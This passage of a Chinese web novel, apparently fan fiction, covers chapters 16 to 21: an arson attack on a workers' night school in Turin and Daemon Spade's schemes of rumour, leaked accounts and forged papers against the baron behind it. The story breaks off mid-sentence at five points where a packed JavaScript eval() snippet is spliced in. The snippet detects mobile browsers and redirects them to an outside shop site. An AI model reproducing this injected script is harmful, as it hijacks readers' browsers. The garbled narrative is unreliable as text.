他走向门口，准备结束这次谈话。但就在手指触碰到门把手的瞬间，视线不经意扫过桌上摊开的简报。在“曙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17218867|197482||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 光之家”的地址栏旁，艾琳娜用铅笔做了个小小的标记：周三、周五夜课，图书室开放至晚十点。 戴蒙的手指停顿了一霎。 “你要干涉吗？”艾琳娜的声音从身后传来，带着一丝戒备。 戴蒙没有回答，拧开门离开了。 走廊里，他遇见正在擦拭盔甲的老管家。老人微微躬身，戴蒙却突然停下脚步，开口问道：“路易吉，南城工人区最近有没有什么异常消息？” “没什么特别的，”老管家怔了怔，一时有些茫然，“少爷是指？” “治安状况。”戴蒙说得很随意，“我听说有些激进分子在活动。” “啊，是有些传言。”路易吉连忙压低声音，左右张望了一眼。“加富尔伯爵前天还吩咐加强守卫呢，尤其是曙光之家那附近，有人看见几个陌生面孔在踩点，不像本地人。” 戴蒙面无表情地点了点头，没有再多问。但他没有回卧室，而是悄然转向宅邸东翼的私人办公室，也是他遍布全城的情报网络的重要节点，马尔切洛常年在此值守。 他推开门，对坐在电报机前的军官说：“马尔切洛，查一下科斯塔男爵最近和哪些人有接触，特别是和教会有关的人。” 马尔切洛抬头，绿眼睛里闪过讶异：“男爵？他不是一直在争取您的支持，想拿到新的军工订单吗？” “正因为如此，才更要查。”戴蒙走到窗前，望着外面渐渐被夜色笼罩的天空。“越是渴望得到什么的人，就越怕失去眼前的一切，也越容易不择手段。他或许认为，主动清除工人区的一些‘不稳定因素’，是向我展示能力与忠诚的最佳捷径。” 17. 第 17 章 深夜两点，戴蒙被急促的敲门声惊醒。 他的睡眠很浅，这是过去多年军旅生涯养成的习惯。但今夜有所不同，随着敲门声而来的，是心脏毫无征兆地一阵狂跳，一种不好的预感笼罩了他。 “少爷。”门外是马尔切洛压低的声音，“紧急情报。” 戴蒙披上外套打开门。马尔切洛的脸色在煤气灯下显得格外苍白：“少爷，曙光之家出事了，发生了火灾，就在半小时前。” 有那么一瞬间，戴蒙没能立刻理解“火灾”与“曙光之家”这两个词组合在一起的含义。那个被艾琳娜特意标注，承载着她理想，每晚都有工人读书的据点，与“火灾”相连，只让人觉得荒谬又不真实。 “人员伤亡？”他缓过神来，声音听上去平稳如常。 “一名教师重伤，他为抢救书籍被掉落的主梁砸中了头，还有三名学生轻伤，火势已经被控制了，但图书室全毁了。” 戴蒙转身回房，开始换衣服，动作有条不紊，但系领带时他看到自己的指尖在颤抖，很轻微，几乎察觉不到。 “查出来是谁干的了吗？”他面色冷峻，语气像结了冰。 “蒙面人，约七八个，他们有组织，纵火后从后巷撤离，有马车接应，我们的人跟踪到南城外就失去了踪迹，但……”马尔切洛顿了顿，“在现场捡到了这个。” 他从口袋里掏出一块布展开，里面是一枚被熏黑的铜制纽扣，上面有模糊的交叉纺锤与麦穗的图案。 科斯塔家族的徽记。 戴蒙接过纽扣握在掌心，金属还带着火焰的余温，但那温度很快就冷却了下去。 “备车。”他说，“去现场。” “少爷，那里可能还不安全。” “备车。” 马车在深夜的街道上疾驰。戴蒙坐在车厢里盯着窗外，街灯一盏接一盏掠过。 越是靠近工人区，空气中的味道就越刺鼻。一开始只是淡淡的焦糊味，随着距离拉近，变成了呛人的烟火气与灰烬味，透过马车缝隙钻进来。 曙光之家是一栋两层砖石建筑，这里原本是旧仓库，但此刻，它只有正面还保持着轮廓，侧面的窗户全碎了，墙壁上蔓延着大片焦黑的痕迹。 火已经灭了，但余温还没有散去。戴蒙下车时，热浪混着湿木头和烧焦纸张的气味扑面而来，几个附近的居民提着水桶呆立着，脸上满是烟灰和茫然。 然后他看见了艾琳娜。 她站在废墟入口，米白色的裙子下摆完全被泥水和灰烬染黑，脸上有几道擦痕，头发松散，看上去格外狼狈。 戴蒙朝她走去，脚下的泥泞发出轻微声响。 艾琳娜听到脚步声缓缓抬起头，当看到来人是戴蒙时，碧蓝色的眼眸睁大了一瞬，惊讶，愤怒和一丝丝委屈混杂在一起，但很快，那种复杂的情绪就被一种坚定的意志盖了过去。 “他们烧了图书馆。”她的声音嘶哑，但还算平稳，“彼得罗先生为了抢出《百科全书》的几页残卷被房梁砸中，医生说可能颅骨裂了，能不能醒来还不知道。” 戴蒙的目光扫过她攥紧的拳头，然后越过她望向废墟深处。借着汽灯的光亮，他看到半本焦黄卷曲的书册残骸，封面依稀可辨，那是伏尔泰的《哲学辞典》，许多年前，在维也纳某个无聊的沙龙里，他曾带着轻蔑翻过同一本书。此刻，它躺在泥水里，残破的像一只死去的天鹅。 “学生们……都还好吗？”他问。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17218868|197482||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “他们受了惊吓，但都安全。马可把三个更小的孩子从后窗推了出去，但自己的手臂被玻璃划伤了。”艾琳娜低声说，“他识字才三个月，但逃生时还抓住自己的笔记本一起带走。”她弯下腰，从脚边的瓦砾中拾起一个沾满泥污的墨水瓶，紧紧握在手里。 戴蒙沉默着，目光在一片狼藉的废墟中流连。不知为何，他突然想起了乔托·彭格列，那个住在巴勒莫贫民窟的15岁少年。 要是他现在站在这里，他会是什么表情？是像艾琳娜一样的愤怒？还是无力到说不出话来？或者说他早已习惯了这种强权的碾压，只剩麻木的隐忍？ “你知道是谁干的。”艾琳娜的声音将他飘远的思绪拉了回来，语气是十足的笃定。 戴蒙没有否认。他摊开手掌露出那枚铜纽扣。 艾琳娜死死盯着那枚纽扣，眼底的怒火逐被坚定所取代，然后她抬起头： “你会怎么做？” 她的语气和一周前在书房里质问的语气很像，但话语中中携带的重量却完全不同。 戴蒙没有立即回答。他转过身望向城市的另一端，那里是贵族和工厂主宅邸的方向，此刻灯火通明，上流社会的宴饮通宵达旦，与这里的黑暗和破败完全是两个世界。 “先跟我回去。”他的语气里少了几分冷漠，多了一丝不易察觉的强硬，“你的脸上有伤口，需要尽快清洗处理。” “我不需要——” “你需要。”戴蒙毫不犹豫地打断她，声音里带上了不容置喙的意味。 他垂下眼，目光落在自己掌心的那枚纽扣上，手指缓缓收紧，金属边缘的尖锐带来微弱的痛感。 “然后我们再谈怎么做。” 18. 第 18 章 清晨五点四十分，天还没有亮透。艾琳娜没有敲门，直接推开了戴蒙的作战会议室的门。 她换了一身深蓝色的长裙，头发整齐地挽起，脸上的污迹也洗干净了，可眼下的青黑和眼中的血丝，让人一眼就能看出她一夜未眠的事实。 她径直走到桌前，将一枚徽章拍在桌面上。 那是几年前曙光之家成立时定制的纪念校徽，书本和钢笔交叉的图案早被压得变了形，边缘黑乎乎的，全是火熏过的痕迹。 “我在图书馆的废墟里找到的。”艾琳娜的声音绷得紧紧的，“纵火的人根本不是单纯想要销毁书籍，他们故意把早就停止使用的纪念品放在现场，这是挑衅，明摆着的挑衅。” 戴蒙坐在长桌的另一头，面前摊开着马尔切洛连夜整理的报告。他抬起头，海青色的眼睛里没有任何睡意：“是挑衅，更是警告，警告你别再插手工人区的事情，不然没有好果子吃。” “科斯塔男爵。”他吐出这个名字，语气里没有半点温度，“还有圣十字教区的安德烈神父，两个人是同谋。马尔切洛凌晨已经把证据送过来了，男爵的管家上周秘密会见神父三次，最后一次，就是火灾发生的前一天晚上。” 戴蒙抬手，“啪”的一声合上报告，指尖轻轻敲了敲封面：“三天内，科斯塔会因为偷税漏税被逮捕，他在热那亚的军火走私生意足够让他在监狱里蹲上十年。至于他在监狱里安不安全……”他顿了顿，嘴角勾起一抹冰冷的微笑，“你不用管，我会安排。” 艾琳娜的呼吸停止了一瞬。 “至于安德烈神父，”戴蒙继续说，“一场丑闻就够了。唱诗班少年的控诉，忏悔室里那些见不得人的交易，还有他私下给工人放高利贷的证据，我已经全部都备齐了，随便挑一样，就能让他名声扫地，再也抬不起头来。” “所以……这就是你的解决办法？”艾琳娜的声音很轻，“用谋杀，用丑闻。” 她突然停住，忍了几秒后才继续说，“戴蒙，这样的手段和他们又有什么区别？” 戴蒙站起身，绕过长桌走向窗边。窗外，黎明前的黑暗正在褪去，可天空还是灰扑扑的。 “你想搞一场干净的革命？”他的声音像冬日里刮过山顶的风，吹得人心里发紧，“可你别忘了，历史从来不是用单纯的笔墨书写的，而是用鲜血书写，每一笔都沾着无辜者的鲜血，也沾着复仇者的血。你资助的教师流了血，现在轮到施暴者们付出代价了，这很公平。” “公平？”艾琳娜猛地起身，椅子腿和木地板摩擦，发出尖锐刺耳的声响，“彼得罗先生为了正义躺在医院里，可能永远醒不过来了，你却说用谋杀来平衡？要是正义非得靠杀人和丑闻，靠这种血腥的法子来铺路，那这条道路走到尽头只能是万劫不复的地狱，除此之外，什么都没有！” 戴蒙转过身，灰白的晨光从窗户钻进来。他逆着光，脸上的神情浸在阴影里看不清楚，只有那双海青色的眼睛，静得像被冻住的湖面，透着令人心悸的冷漠。 “地狱？”他慢悠悠地重复这个词，嘴角再次勾起一丝讽刺的弧度，“现在我们难道不就在地狱里吗？只不过有的人住在地狱的上层，锦衣玉食、为所欲为，有的人困在下层，任人宰割、苟延残喘。你那些写满漂亮话的课本，能打破这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17218869|197482||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一切吗？” “我们是在努力建造一个新世界，戴蒙！”艾琳娜的声音因为激动而颤抖，语气却依然坚定，“不是要复制一个更高效更冷血的屠宰场！” “那你告诉我啊，”戴蒙往前走了一步，声音压得很低，“怎么让一只吃惯了肉的野兽改吃素？靠讲道理？还是靠你那本被烧了一半的狄德罗？” 他抬起手指向窗外：“科斯塔的工厂里，童工最小的只有六岁。他不知道这是错的吗？他当然知道！可他更清楚，如果不用童工，成本就会飞速上涨，那些竞争对手会一口吞掉他的市场！安德烈神父每周宣讲主的仁慈，背地里却收着工厂主的钱，对那些在工厂里被弄伤弄残的人看都不看一眼！他们不是不懂道理，艾琳娜，他们只是选择了利益。” 他缓缓放下手，语气里带着一丝不易察觉的无奈，又藏着几分嘲讽，“而你却天真地想用道理去对抗利益，用书本和铅笔去对抗他们手中的刀剑和权力。” 一阵长久的沉默，会议室里静得只能听见外面树枝在晨风中摇晃的声音。 艾琳娜站在原地，胸膛起伏。她看着戴蒙，看着这个从小一起长大，曾经一起在伯爵府花园里偷摘葡萄，一起读骑士小说的少年，如今站在她面前，说着如此冰冷、如此“正确”、如此令人绝望的话。 然后，她说：“我不知道该怎么让野兽改吃素……” 她缓缓抬起眼睛，晶莹的泪水在眼眶里打转，却始终没有落下。 “……但我知道，一旦我们也从人变成和他们一样的野兽，用暴力去对抗暴力，那我们就彻底输了，输掉的，是我们曾经坚持的一切。” 19. 第 19 章 戴蒙以为这次的事件会以艾琳娜的妥协告终，但他低估了她。 火灾发生后的第三天，《都灵信使报》第三版的右下角，出现了一篇不起眼的报道，标题很平淡：[工人区夜校遭遇不明火灾]，内容看似客观叙述，但在最后一行，记者不动声色地提及：“据悉，该夜校主要教授工人基础读写及算术，近期因学员数量增加引起某些传统行业人士的不安……” 报道通篇没有点名任何人，可字里行间的暗示却清晰直白，任谁都能立刻联想到那些忌惮工人觉醒的工厂主们。 科斯塔男爵看到报纸时正在用早餐。他气得摔碎了咖啡杯，当天下午就通过中间人向报社施压，要求撤稿并道歉。 但他犯了一个错误。 在与中间人的交谈中，他情绪失控到公开抱怨：“某些被激进思想蛊惑的贵族小姐，不好好地待在自己的庄园里，非要去掺和工人的破事儿，真该好好学学什么是贵族的体面！” 这句话像是长了翅膀，很快就传到了加富尔伯爵的耳朵里。 第四天傍晚，戴蒙再次在加富尔伯爵庄园的书房见到了艾琳娜，这次是她派人来请的，用的是正式的邀请函。 他推开门时，艾琳娜正站在窗边。她穿着一身正式的会客长裙，长长的金发被精心挽成发髻，脸上略施了一层薄粉试图掩盖憔悴，可戴蒙依旧可以看到她眼下的青黑和苍白的唇色。 “父亲今天召见了我。”她没有多余的寒暄，转过身直接切入主题，语气平静又带着沉重，“他要求我立刻停止所有有损家族名誉的活动，包括但不限于夜校、工人医疗站，还有为贫困工人家庭提供的法律援助，一个都不能留。” 戴蒙靠在门框上：“你的回答是？” 艾琳娜缓缓将手按在胸口，在那件绣着精致花纹的长裙上，别着一个坚硬的小物件——正是那枚熏黑变形的纪念徽章。 她一直将它戴在身上，金属的冰凉贴着温热的皮肤，仿佛能为她注入源源不断的力量。 “我拒绝了。” 简简单单的四个字，她说得云淡风轻，可戴蒙却听出了其中沉甸甸的分量。加富尔伯爵是北意大利最具影响力的政治家之一，拒绝他的直接命令无异于公开决裂，不仅可能会被家族边缘化，甚至可能影响她未来的一切。 这一点上，他们两人都心知肚明。 艾琳娜转过身走到书桌前，桌子上摊开着那份《都灵信使报》和几封拆开的信。 “我通过母亲的旧友联系到了《前进报》的几位记者，他们的报纸虽然被停刊了，但人脉还在。我还联系了伯尔尼大学社会学系的教授和其他几位学者，他们愿意联署声援。” 她抬起头看着戴蒙：“科斯塔的急躁和威胁反而给了我机会，现在，这件事已经不只是一个夜校被烧毁的单纯案件，而是变成了工厂主压制工人觉醒、阻碍底层教育的标志性事件。” 戴蒙没有说话，他走到桌前拿起其中一封信。这是来自米兰的一位法学教授的声援信，措辞谨慎但立场鲜明。 “舆论已经开始发酵了。”艾琳娜继续说，语气中带着一丝欣慰，“虽然目前的声音还很微弱，但至少已经有人开始关注这件事了。科斯塔现在不敢再轻举妄动，有太多的眼睛正在盯着他的一举一动。至于安德烈神父，他昨天突然对外宣称‘染病在身’，取消了接下来两周的所有公开弥撒和活动，显然是怕引火上身。” 她停顿了一下，声音微微放低，语气中带着几分清醒的认知：“你说得对，单纯的道理有时确实很无力，面对冰冷的刀剑和权力，铅笔和书本确实脆弱得不堪一击。” 艾琳娜再次抬起头，碧蓝色的眼睛里燃起一种戴蒙从未见过的光芒，那不是理想主义盲目天真的火焰，而是经历过现实打击后，愈发坚韧清醒的觉醒，透露着一股破釜沉舟的勇气。 “但我也绝不会采用你的方式，谋杀、丑闻、暴力的报复……这些手段，只会让我们变成自己最憎恨的人，几乎等于承认我们和他们没有任何区别。” 她向前迈了一步，语气里带着几分近乎恳求的期许，身姿却依旧挺拔：“戴蒙，你曾经问过我有没有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17218870|197482||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 第三条路。”她的声音在寂静的书房里格外清晰，流露出一种不容动摇的意志，“我现在就在找这条路，也许这条路根本不存在，也许到最后我会一败涂地，但至少我能守住自己的底线，不会变成自己憎恨的模样。” 戴蒙看着她，晨光从窗户斜射进来，照在她的脸上，照亮了她眼底那些不肯熄灭的光芒。他突然想起很多年前，也是这样的一个清晨，她站在伯爵府的花园里，小心翼翼地举着一只翅膀受伤的小鸟，固执地要给它包扎伤口，哪怕她父亲在一旁泼冷水说“这只鸟活不过今晚”。 那时的他还笑着说她傻，觉得她的善良和坚持不过是少女的天真。 可现在，看着眼前这个历经打击却依旧坚守本心的姑娘，他却再也说不出“傻”这个字，心底反而涌起一丝连他自己都未能察觉的动摇。 “科斯塔的税务确实有问题，证据确凿。”戴蒙沉默良久终于开口，声音也依旧平淡，语气中却少了几分之前的冷漠，“以税务问题逮捕他是合法程序，名正言顺。至于他在狱中的‘意外’……”他顿了顿，目光缓缓移至窗外，神色复杂，仿佛这个决定让他也感受到了一丝陌生的重量，“……可以避免。” 艾琳娜的眼睛亮了起来。 “但你不要抱太大希望。”戴蒙转过身，缓步走向门口，语气里带着清醒的警示，“舆论就像一阵风，今天可能吹向你这边，明天就可能倒向对立面。科斯塔倒了，还会有其他工厂主站出来，那些恐惧自身利益受损的人永远不会消失。” 他走到门口，脚步微微停顿，背对着艾琳娜，没有回头：“你要找的第三条路……祝你好运，艾琳娜。” 门轻轻关上。 走廊深处的阴影里，马尔切洛如往常一样肃立等候。戴蒙走到他身边时，脚步未停，嘴唇微动，用只有两人能听清的声音吩咐：“科斯塔入狱后，安排人确保他的直系亲属能够得到基本安置，给他们留一笔生活费，别让老人和孩子饿死。” 马尔切洛的眼中闪过一丝惊讶，但还是迅速垂首回道：“明白，少爷。” 20. 第 20 章 都灵的深冬，夜晚来得早而坚决，不过傍晚六点，窗外已是浓稠的黑暗，只有零星几点灯火在远处颤抖着，像是随时会被寒风掐灭。 斯佩多伯爵府的书房内却亮如白昼。戴蒙特意让人点起了房间内的所有光源，连那盏从威尼斯高价定制，带着七十二个水晶切面的枝形吊灯也没有落下。 艾琳娜推门进来的时候，猝不及防地被满屋子的光亮刺得眯了眯眼睛，下意识地抬手挡了一下。等到视线适应之后，她看见戴蒙站在巨大的书桌前，桌上摊开的既不是军事地图，也不是情报文件，而是一张奇特的设计图，线条错综复杂，箭头交织，旁边标注着密密麻麻的小字。 “关门。”戴蒙说，眼睛没有离开图纸。 艾琳娜依言转身关门，门锁发出一声清脆的“咔哒”声，将书房与外界隔绝。 “我花了三天时间重写规划。”戴蒙终于从图纸上移开目光。灯光下，他眼下的青黑很明显，但那双海青色的眼睛异常明亮，带着猎手锁定猎物时的锐利，“原来的方案作废。科斯塔不能以税务问题入狱，那太粗糙了，容易引来你父亲的政敌的调查。” 他招手示意艾琳娜过来。 她走近，看清了图纸的内容。一个三层结构的行动方案，每一层都有详细的时间节点、执行人和备用方案。线条用黑、蓝、红三色墨水绘制，脉络清晰。 “我们换一种方式。”戴蒙的指尖落在图纸最上方的黑色区域，语气平静中带着不容置疑的掌控力，“不伤人性命，也不碰牢狱，让他在都灵社会性死亡。” 艾琳娜的呼吸微微一顿。 戴蒙开始讲解，语速不快不慢，每个字都清晰笃定。 “第一步，走明面上的程序。你以曙光之家所有者的身份，向地方法院提起民事诉讼，要求科斯塔赔偿全部损失并在《都灵信使报》上公开道歉。赔偿金额要合理，我们的核心目的不是要钱，是公开道歉，要让整个都灵的上流社会都看到他向你、向底层工人低头。” 他稍作停顿：“法官会是卡尔洛·贝蒂尼。他的女儿在你资助的女子学院读书，妻子是坚定的妇女选举权运动支持者。于公于私，他都会更倾向你，庭审结果无需担心。” 艾琳娜盯着图纸上的那个名字，旁边甚至标注了贝蒂尼法官的庭审习惯：每周三下午专门审理民事案件，偏好简洁清晰的逻辑陈述，厌恶情绪化的纠缠。这般细致的考量，让她心底泛起一丝复杂的情绪。 “第二步，走暗面布局。”戴蒙的手指下移到红色线条的区域，“我这边同步推进三件事。” “第一，匿名泄露证据。把科斯塔工厂的真实账目交给孔蒂家族，那是他最大的竞争对手。证据里面有童工名单、安全设备不足的实证、偷工减料的记录。孔蒂家族觊觎他的军工订单很久了，有了这些，他们绝不会放过这个大好机会。” “第二，制造巧合。科斯塔最重要的客户是陆军部的采购官，他会在私人俱乐部偶然听到关于科斯塔工厂质量不达标的传言，同时，我在税务系统的朋友会开始格外认真地审查他过去三年的申报记录。” “第三，在保守派内部散布舆论。重点是那些原本支持科斯塔的贵族和神父，让他们意识到，科斯塔不仅没能压制住夜校的发展，反而引火烧身，把麻烦带到了整个保守阵营，是个成事不足，败事有余的累赘。孤立他，让他失去所有靠山。” 艾琳娜的目光随着戴蒙的手指移动。那些线条连接着一个个名字、一个个机构，从工厂到贵族宅邸，从私人俱乐部到教会，织成一张密不透风的网，而科斯塔的名字被牢牢困在网的中央，早已无处可逃。 “第三步，也是最终阶段。”戴蒙的手指落在图纸的最下方，语气平淡地宣告结局，“在经济被挤压、社交被抛弃、法律诉讼败诉的三重压力之下，科斯塔撑不过三个月。他会被迫变卖工厂逃离都灵。以他的性格，会去热那亚或者米兰投靠远房亲戚。” 他抬起头：“他不会死，甚至不会坐牢，但会失去在这里的一切，钱、地位和名誉。”他顿了顿，“这些他本来就不该用别人的血汗堆积。” 书房里安静了片刻，壁炉的火噼啪作响，吊灯的水晶折射出无数个细小的光斑，在图纸上跳动。 “第二步的那些操作，”艾琳娜终于打破沉默，声音有些干涩，“本质上还是操控和恐吓，和你最初的方案只是手段上略有不同。” “是。”戴蒙坦然承认，“仍然是那些东西。我无法凭空变出一个干净的方案，艾琳娜。即使是无所不能的幻术师，也没有那种能让野兽突然长出良心的幻术。” 他走到窗边，窗外又开始下雪了，细小的雪花在黑暗中旋转，撞在玻璃上瞬间融化，留下星星点点的水痕。 “但至少，”他背对着她说，“这个方案里没有人会死，也没有人蒙冤入狱，你的手不会沾血，我的也不会。科斯塔失去的，不过是他靠着剥削、谎言和冷血积累的一切，算不上委屈。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17218871|197482||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他转过身，认真地看着艾琳娜：“这是你要的第三条路吗？我不确定，但这是我能想到的最接近不脏手的选项。” 艾琳娜没有立刻回答。她重新低下头看着图纸，那些线条、箭头、名字，此刻在她眼中变成了一个个具体的人，一个个即将被影响的生命。 科斯塔会失去工厂，那些工人呢？孔蒂家族接手后，会改善待遇吗？还是只是换了一个剥削者？ 还有她自己，主动站上法庭对抗另一个上层阶级的工厂主，这意味着什么？意味着她正式撕破了贵族世界的体面，站到了自己所属阶级的对立面。 无数思绪在心底翻涌，她缓缓抬起头，目光澄澈坚定：“我要参与这个方案的全部过程。” 戴蒙微微挑眉，脸上露出一丝不易察觉的诧异，语气里带着几分疑惑：“参与？法庭诉讼的部分你已经是核心了，还需要参与什么？” “所有部分。”艾琳娜毫不犹豫地说，目光直直地看着戴蒙，“包括第二步，那些暗面的布局和操作，我都要参与。” 戴蒙脸上的诧异凝固了。他缓缓走回书桌边，双手撑在桌沿，微微向前俯身：“你知道自己在说什么吗？那些背地里的操作里没有任何干净的东西，艾琳娜。没有骑士精神，没有公平对决，只有赤裸裸的谎言、利益交换和阴狠的算计，会弄脏你的眼睛和心。” “我知道。”艾琳娜迎上他的目光，毫不退缩，“正因为知道不干净，我才更要亲眼去看，亲自去体验。我需要清楚地知道，我所选的这条路到底是由什么铺成的，才能确定自己走得是否值得。” 长久的对视里，空气仿佛都凝固了，只有壁炉里木柴燃烧的噼啪声在书房里回荡。 最终，戴蒙缓缓直起身，周身的压迫感稍减，语气冷硬地开口：“可以，但有三条规则。” 他的声音冰冷，不容置疑： “第一，只观察，不干预。第二，全程保持沉默。第三，这件事结束后，绝不会向任何人提起，包括你那些志同道合的朋友，包括你藏起来的日记本，甚至包括上帝。” 他凝视着她，海青色的眼底掠过一丝复杂的情绪。 “记住，你即将看到的一切会彻底地改变你，让你再也回不到从前的样子。”他的声音里带着几分沉重，“这是我给你的最后一次回头的机会，现在反悔还来得及。” “同意吗？” 艾琳娜深吸一口气，目光愈发坚定。 “我同意。” 21. 第 21 章 四天后的夜晚，都灵旧城区一家不起眼的酒馆后室。 艾琳娜穿着一件宽大的深灰色男士外套，领口高高立起，头上戴着一顶破旧的毡帽，遮住了大半张脸。戴蒙的幻术堪称精妙，将她伪装成了一个二十出头的年轻男人，身形干瘦，眉眼间带着底层劳工的怯懦。 “记住你的身份。”戴蒙凑到她耳旁低声说。他自己也换了个样子，变成了一个三十多岁、面容憔悴的文书员，指尖沾着洗不干净的墨痕。“你是我从伦巴第过来投奔的远房表弟，现在在码头做记账员。记得只许听，不许说话。” 后室里烟雾缭绕，劣质烟草的气味混杂着霉味，长桌旁坐着五六个人：手指上戴满廉价戒指的货船中介，脸上有一道刀疤的前军人，眼神闪烁的律师，还有两个沉默的男人。 他们在谈生意。货船中介有一批来源不明的棉花要出手，前军人能提供运输保障，律师负责规避法律风险，两个沉默的男人则是潜在买家。 戴蒙扮演的是中间人的角色，一个游走在黑白边缘，专为不便公开的交易牵线搭桥的灰色人物。他的话不多，但字字都能卡在关键的节点，不动声色地提醒中介报价过高，隐晦地暗示军人运输路线的风险，又向买家拍着胸脯保证货物的“清洁度”，分寸拿捏得恰到好处。 艾琳娜缩在角落的阴影里，心跳快得要冲破胸膛。 她从未踏足过这样的世界，空气里弥漫着劣质烟草、汗臭和变质葡萄酒的酸腐味，每个人的眼神里都藏着算计，每句话都裹着潜台词。一笔能让二十个工人家庭温饱一整年的交易，就在这间昏暗的房间里，被几个人三言两语敲定了。 交易谈妥之后，几个人都放松下来。戴蒙端起劣质葡萄酒，看似随意地提起科斯塔男爵。 “听说他在热那亚的仓库最近有点小麻烦，”他一边给货船中介添酒，一边漫不经心地问道，“好像是税务上出了点小差错，你们最近还有帮他走货吗？” 货船中介眼神闪烁，含糊其辞地敷衍了过去，不愿多谈。戴蒙也不追问，转而聊起了无关紧要的琐事：港口最近多变的天气、新来的海关官员的行事风格、某位贵族老爷的桃色丑闻……话题切换流畅自然，等到几个人放松警惕之后，又不动声色地将话题绕回了科斯塔身上。 “不过科斯塔在陆军部的关系够硬，”刀疤脸军人突然插话，“有点小麻烦也能压得下去。” “是吗？”戴蒙扯了扯嘴角，露出恰到好处的轻蔑，“我听说的可不太一样。他给采购官的回扣被审计处盯上了，陆军部最近正在整顿风气，这种事要是一旦被坐实了，谁也保不住他。” 律师的眼神犀利起来：“消息可靠？” “我的一个表亲在审计处做抄写员。”戴蒙随意地耸耸肩，“职位虽然低微，但什么文件都能接触到。这种内部消息，比外面传的靠谱多了。” 艾琳娜敏锐地捕捉到律师和货船中介飞快地交换了一个眼神，眼神里满是权衡和盘算，刀疤脸军人停下了手中的动作，若有所思地摩挲着下巴上的伤疤，眼底闪过一丝动摇。 她心里清楚，戴蒙那几句看似闲聊的话，像投入平静水面的石子，关于“科斯塔失势”的种子，已经在这些人的心里悄悄种下了。 她感到一阵轻微的战栗，就好像亲眼看见一条色彩斑斓的毒蛇，被戴蒙的话语精心引诱着，悄无声息地划入目标的心口，毒素缓慢且致命地蔓延开。 离开酒馆以后，他们又去了两个不同的地方。 第一个是一座地下印刷所。戴蒙“无意间”留下一份显示科斯塔工厂安全隐患的伪造文件，混在一堆待打印的宣传资料中毫不起眼。 另一个地方是圣十字教堂的后门。戴蒙用幻术伪装成科斯塔的心腹管家，向一位正准备进门的保守派教父诉苦，说主人最近麻烦缠身，资金链濒临断裂。 每一次，艾琳娜都只是旁观。 她看着戴蒙利用中介的贪婪撬动他对科斯塔的信任，利用律师的多疑放大他对风险的顾虑，利用神父对动荡局面的恐惧瓦解他对科斯塔的支持。每一次，都精准地捕捉到每个人不同的弱点。 她的心底泛起一阵恶心，这份不适不是针对戴蒙，而是针对这个令人窒息的世界。 原来真正的权力游戏，从来不在光鲜的议会大厅，也不在庄严的法庭之上，而是藏在这些阴暗潮湿的角落，烟雾缭绕的密室，深夜无人的教堂后门。 用谎言喂养贪婪，用恐惧催化背叛，用阴谋决定他人的命运，这就是成人世界的运行法则。 凌晨时分，他们坐在回程的马车上。 都灵在沉睡，街道上空无一人，只有车轮碾过积雪的声音。 艾琳娜摘掉毡帽，长发散落下来。她靠在车厢的墙壁上，一言不发，怔怔看着窗外飞速掠过的街灯。那些昏黄微弱的光点在茫茫雪夜里忽明忽暗，显得格外孤独。 “感觉如何？”戴蒙率先打破沉默，语气平淡无波。他早已解除幻术，恢复了原本的模样。在马车昏暗的光线里，他的 